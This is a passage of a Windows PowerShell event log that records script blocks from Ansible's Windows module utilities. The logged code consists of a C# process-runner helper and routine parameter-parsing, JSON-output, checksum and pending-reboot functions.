IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 4a37e4ee-21de-458f-8096-9b8eada07b16
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = ae2f631d-52b1-4ce4-b45d-b85407624117
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2031 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4680 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:08 AM | 61e00a24-ee3b-0002-d60a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: c44cd266-6e2f-4594-b840-f534fb047729
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2030 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4840 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-9b0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 57587e20-d177-4858-8e19-6e327e7b52ef
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2029 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4840 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-940a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 3f11a28e-e37b-440d-87ae-51bfb8e57ef3
